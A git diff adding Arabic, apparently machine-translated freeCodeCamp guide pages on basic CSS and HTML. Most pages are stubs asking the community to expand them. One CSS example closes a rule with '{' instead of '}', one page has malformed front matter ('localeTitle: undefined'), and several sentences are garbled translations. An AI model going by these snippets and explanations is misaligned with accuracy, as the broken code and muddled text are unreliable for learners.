+    color: green; 
+  } 
+ </style> 
+ <h1 id="green-color" class="red-text blue-text">Example</h1> 
+` 
+
+سيؤدي ذلك إلى جعل النص `Example` أخضر لأن سمة `id` ستحظى دائمًا بالأسبقية على تعريفات `class` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md
new file mode 100644
index 0000000000..d6893a3bd0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md
@@ -0,0 +1,9 @@
+---
+title: Override Class Declarations with Inline Styles
+localeTitle: تجاوز التعريفات فئة باستخدام الأنماط المضمّنة
+---
+## تجاوز التعريفات فئة باستخدام الأنماط المضمّنة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/override-class-declarations-with-inline-styles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md
new file mode 100644
index 0000000000..767505cf73
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/override-styles-in-subsequent-css/index.md
@@ -0,0 +1,61 @@
+---
+title: Override Styles in Subsequent CSS
+localeTitle: تجاوز الأنماط في CSS لاحقة
+---
+## تجاوز الأنماط في CSS لاحقة
+
+الشيء الأكثر أهمية الذي يجب تذكره عند الرغبة في تجاوز الأنماط في CSS اللاحقة هو ترتيب إنشاء الفئات.
+
+آخر نمط محدّث سيأخذ الأولوية على الفئات المكتوبة سابقاً.
+
+فمثلا:
+
+ `
+<style> 
+  body { 
+    color: purple; 
+  } 
+  .red-text { 
+    color: red; 
+  } 
+  .blue-text { 
+    color: blue; 
+  { 
+ </style> 
+` 
+
+الآن، عند إنشاء أي نص في `body` ، وسوف يكون لون النص `purple` المسندة إليها.
+
+لبدء تجربة عملية الإلغاء ، يمكنك الآن إضافة فئة `"red-text"` لمشاهدة النتائج.
+
+باستخدام التنسيق أعلاه ، سيتجاوز النص أدناه لون الخط `purple` السابق `purple` `red` .
+
+ `
+<h1 class="red-text">Example</h1> 
+` 
+
+عندما تريد إضافة عدة فئات ، يمكنك استخدام هذا التنسيق:
+
+ `
+<h1 class="class-name1 class-name2 class-name3">Example</h1> 
+` 
+
+يمكنك الآن إضافة الفئة الأخيرة التي تم إنشاؤها أعلاه ( `"blue-text"` ) إلى نفس المثال أعلاه لمشاهدة النتائج.
+
+ `
+<h1 class="red-text blue-text">Example</h1> 
+` 
+
+سيؤدي ذلك تلقائيًا إلى اختيار الفصل الأخير الذي تم إنشاؤه في قسم الأنماط ، والذي كان في هذه الحالة هو `"blue-text"` .
+
+حتى إذا قمت بتطبيق `red-text` للفئة الأولى خلف `red-text` `blue-text` للفئة الثانية ، فستقوم عملية إلغاء الاختيار باختيار الفئة التي تم إنشاؤها مؤخرًا. في هذه الحالة ، يكون هذا الفصل هو `blue-text` .
+
+لذلك ، على سبيل المثال:
+
+ `
+<h1 class="blue-text red-text">Example</h1> 
+` 
+
+سيظل هذا يعرض لون خط `blue` بسبب الترتيب في قسم الأنماط.
+
+تم إنشاء فئة `blue-text` الماضي ، وحرث من أسفل ( `</style>` ).
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md
new file mode 100644
index 0000000000..988650bde5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md
@@ -0,0 +1,9 @@
+---
+title: Prioritize One Style Over Another
+localeTitle: تحديد الأولويات على غرار واحد على آخر
+---
+## تحديد الأولويات على غرار واحد على آخر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/prioritize-one-style-over-another/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md
new file mode 100644
index 0000000000..b48721ffea
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the Font Family of an Element
+localeTitle: عيّن عائلة الخط لعنصر
+---
+## عيّن عائلة الخط لعنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/set-the-font-family-of-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md
new file mode 100644
index 0000000000..9964807e81
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the id of an Element
+localeTitle: عيّن معرف عنصر
+---
+## عيّن معرف عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/set-the-id-of-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/size-your-images/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/size-your-images/index.md
new file mode 100644
index 0000000000..4d7b2eb740
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/size-your-images/index.md
@@ -0,0 +1,11 @@
+---
+title: Size Your Images
+localeTitle: حجم صورك
+---
+## حجم صورك
+
+لتحجيم صورك ، قم أولاً بإنشاء الفصل الدراسي في علامة النمط.
+
+مثال: `<style> .fixed-image { width: 500px; height: auto; }`
+
+يمكنك بعد ذلك إضافة الفصل إلى صورتك: `<img class="fixed-image" src="http://www.example.com/picture"/>`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md
new file mode 100644
index 0000000000..6116085ed2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md
@@ -0,0 +1,9 @@
+---
+title: Specify How Fonts Should Degrade
+localeTitle: تحديد كيفية الخطوط يجب أن تنخفض
+---
+## تحديد كيفية الخطوط يجب أن تنخفض
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/specify-how-fonts-should-degrade/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md
new file mode 100644
index 0000000000..9d9e32ca72
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Style Multiple Elements with a CSS Class
+localeTitle: نمط عناصر متعددة مع فئة CSS
+---
+## نمط عناصر متعددة مع فئة CSS
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/style-multiple-elements-with-a-css-class/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md
new file mode 100644
index 0000000000..4f564fb22c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Style the HTML Body Element
+localeTitle: قم بتهيئة عنصر نص HTML
+---
+## قم بتهيئة عنصر نص HTML
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/style-the-html-body-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md
new file mode 100644
index 0000000000..58666c7370
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand Absolute versus Relative Units
+localeTitle: فهم المطلق مقابل الوحدات النسبية
+---
+## فهم المطلق مقابل الوحدات النسبية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/understand-absolute-versus-relative-units/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md
new file mode 100644
index 0000000000..5ae8810022
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a CSS Class to Style an Element
+localeTitle: استخدم فئة CSS لتصميم عنصر
+---
+## استخدم فئة CSS لتصميم عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-css-class-to-style-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md
new file mode 100644
index 0000000000..52f65a1d30
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a custom CSS Variable
+localeTitle: استخدم متغير CSS مخصص
+---
+## استخدم متغير CSS مخصص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-custom-css-variable/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md
new file mode 100644
index 0000000000..3625f3771d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a media query to change a variable
+localeTitle: استخدم استعلام وسائط لتغيير متغير
+---
+## استخدم استعلام وسائط لتغيير متغير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-a-media-query-to-change-a-variable/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md
new file mode 100644
index 0000000000..906e6739ae
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Abbreviated Hex Code
+localeTitle: استخدم الرمز السداسي المختصر
+---
+## استخدم الرمز السداسي المختصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-abbreviated-hex-code/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md
new file mode 100644
index 0000000000..b0624c1e9b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use an id Attribute to Style an Element
+localeTitle: استخدم سمة معرف إلى نمط عنصر
+---
+## استخدم سمة معرف إلى نمط عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-an-id-attribute-to-style-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md
new file mode 100644
index 0000000000..eddacde5b6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Attribute Selectors to Style Elements
+localeTitle: استخدم محددات السمات لعناصر النمط
+---
+## استخدم محددات السمات لعناصر النمط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-attribute-selectors-to-style-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md
new file mode 100644
index 0000000000..8aabdd1315
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Clockwise Notation to Specify the Margin of an Element
+localeTitle: استخدم "Clockwise Notation" لتحديد "هامش العنصر"
+---
+## استخدم "Clockwise Notation" لتحديد "هامش العنصر"
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-margin-of-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md
new file mode 100644
index 0000000000..42d86c7db4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Clockwise Notation to Specify the Padding of an Element
+localeTitle: استخدم علامة Clockwise لتحديد Padding of Alement
+---
+## استخدم علامة Clockwise لتحديد Padding of Alement
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-clockwise-notation-to-specify-the-padding-of-an-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md
new file mode 100644
index 0000000000..df63e8513e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Selectors to Style Elements
+localeTitle: استخدم CSS Selectors إلى عناصر النمط
+---
+## استخدم CSS Selectors إلى عناصر النمط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-css-selectors-to-style-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md
new file mode 100644
index 0000000000..9310aeed6e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Variables to change several elements at once
+localeTitle: استخدم متغيرات CSS لتغيير عدة عناصر في وقت واحد
+---
+## استخدم متغيرات CSS لتغيير عدة عناصر في وقت واحد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-css-variables-to-change-several-elements-at-once/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md
new file mode 100644
index 0000000000..68115a6cd0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Hex Code for Specific Colors
+localeTitle: استخدم الرمز السداسي لألوان محددة
+---
+## استخدم الرمز السداسي لألوان محددة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-hex-code-for-specific-colors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md
new file mode 100644
index 0000000000..35254b3d20
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Hex Code to Mix Colors
+localeTitle: استخدم Hex Code لخلط الألوان
+---
+## استخدم Hex Code لخلط الألوان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-hex-code-to-mix-colors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md
new file mode 100644
index 0000000000..ddda6571b7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Use RGB to Mix Colors
+localeTitle: استخدم RGB لخلط الألوان
+---
+## استخدم RGB لخلط الألوان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-rgb-to-mix-colors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md
new file mode 100644
index 0000000000..ac7b98e1bd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use RGB values to Color Elements
+localeTitle: استخدم قيم RGB لعناصر اللون
+---
+## استخدم قيم RGB لعناصر اللون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/use-rgb-values-to-color-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md
new file mode 100644
index 0000000000..6472365ffe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-a-submit-button-to-a-form/index.md
@@ -0,0 +1,17 @@
+title: Add a Submit Button to a Form	
+localeTitle: undefined
+---	## إضافة زر إرسال إلى نموذج
+
+في هذا التحدي ، تريد إدراج زر الإرسال باعتباره آخر عنصر في النموذج (قبل علامة الإغلاق `</form>` ) ولإعطائه `type="submit"` السمة `type="submit"` (كل شيء صغير) ومحتوى نصي من "إرسال "(الحرف الأول من الأحرف الكبيرة) كما هو محدد في إرشادات التحدّي.
+
+1) تكون قيمة `submit` `type` السمة صالحة أيضًا داخل علامة `input` وستعرض زرًا له نفس السلوك تقريبًا ، ولكن هذه ليست العلامة التي تريد استخدامها في هذا التحدي.
+
+ `<input type="submit"> 
+` 
+
+إذا لم تحدد قيمة ، فسيحتوي الزر على قيمة افتراضية تم اختيارها من قِبل وكيل المستخدم (عادةً ما يكون هذا بمثابة "إرسال" أو "إرسال الاستعلام").
+
+إذا كنت ترغب في تحديد قيمة مثل "إرسال طلب" ، فيمكنك إجراء ذلك على النحو التالي:
+
+ `<input type="submit" value="Send Request"> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md
new file mode 100644
index 0000000000..2d8a7129f7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-images-to-your-website/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Images to Your Website
+localeTitle: إضافة الصور إلى موقع الويب الخاص بك
+---
+## إضافة الصور إلى موقع الويب الخاص بك
+
+السمات هي أزواج القيم الرئيسية المدرجة في العلامة. يكون بناء الجملة `<tag key1="value1" key2="value2"> </tag>` أو ، في حالة علامات الإغلاق الذاتي ، `<tag key1="value1" key2="value2" />` - لاحظ أن الأزواج مفصولة بحرف مسافة ، وليس بفاصلة.
+
+### مصادر
+
+*   [سمات HTML](https://guide.freecodecamp.org/html/attributes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md
new file mode 100644
index 0000000000..776d71306c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/add-placeholder-text-to-a-text-field/index.md
@@ -0,0 +1,14 @@
+---
+title: Add Placeholder Text to a Text Field
+localeTitle: إضافة نص العنصر النائب إلى حقل نص
+---
+## إضافة نص العنصر النائب إلى حقل نص
+
+`placeholder` عبارة عن سمة ، وليس علامة. يمكن استخدامه مع `text` سمة علامة `input` لإنشاء نص لتصور عندما يكون مربع الإدخال فارغًا.
+
+إذا كنت تتأكد من وجود هذه المشكلات:
+
+*   يجب عليك إضافة سمة `placeholder` إلى علامة `input` الموجودة بالفعل في الشفرة دون إزالة أي شيء ؛ إذا قمت عن طريق الصدفة بإزالة أو تعديل شيء تذكر أنه يمكنك إعادة تشغيل مع رمز نظيفة عن طريق النقر فوق `reset all code` زر `reset all code`
+*   الصيغة هي نفسها لكل سمة: `<tag attributeName="attributeValue" >` وتتم الإشارة إلى القيمة المراد إدراجها من خلال تعليمات التحدي (التحقق من الأخطاء المطبعية).
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md
new file mode 100644
index 0000000000..a4ac21a683
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/check-radio-buttons-and-checkboxes-by-default/index.md
@@ -0,0 +1,11 @@
+---
+title: Check Radio Buttons and Checkboxes by Default
+localeTitle: تحقق من أزرار الراديو و Checkboxes حسب الافتراضي
+---
+## تحقق من أزرار الراديو و Checkboxes حسب الافتراضي
+
+السمة `checked` ، القابلة للاستخدام بشكل حصري مع `type="radio"` و `type="checkbox"` ، هي خاصية منطقية (يمكنك التحقق من التحدّي حول السمة `required` ، منطقية أيضًا ، على هذا الرابط: [استخدم html5 لطلب حقل](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/) ).
+
+بصفتك سمة منطقية ، عليك ببساطة إضافة الكلمة `checked` إلى عنصر HTML `input` الذي تريد تعيينه محددًا بشكل افتراضي (يتطلب التحدي أن تقوم بتعيين افتراضيًا _في أول_ خانة الاختيار وأزرار الراديو الموجودة بالفعل في الكود).
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md
new file mode 100644
index 0000000000..a5004b2c63
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/comment-out-html/index.md
@@ -0,0 +1,18 @@
+---
+title: Comment out HTML
+localeTitle: تعليق من HTML
+---
+## تعليق من HTML
+
+بنية تعليق هو نفسه لكل عنصر HTML آخر:
+
+مثال:
+
+ `<!-- code --> 
+` 
+
+subElement | وصف ---------- | ----------- `<!--` | علامة الفتح كود | نص علق `-->` | علامة الإغلاق
+
+إذا كنت ترغب في التعليق فقط على بعض العناصر في التعليمة البرمجية التي تريد لفها في عنصر تعليق - قم بإنشاء علامة افتتاحية قبلها وعلامة إغلاق بعدها مباشرةً.
+
+إستمتع!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md
new file mode 100644
index 0000000000..9661355ebd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list/index.md
@@ -0,0 +1,29 @@
+---
+title: Create a Bulleted Unordered List
+localeTitle: قم بإنشاء قائمة غير مرتبة بالعدادات
+---
+## قم بإنشاء قائمة غير مرتبة بالعدادات
+
+لتمرير التحدي ، فإن أول عملية يجب عليك القيام بها هي إزالة عناصر `p` بكل محتواها.
+
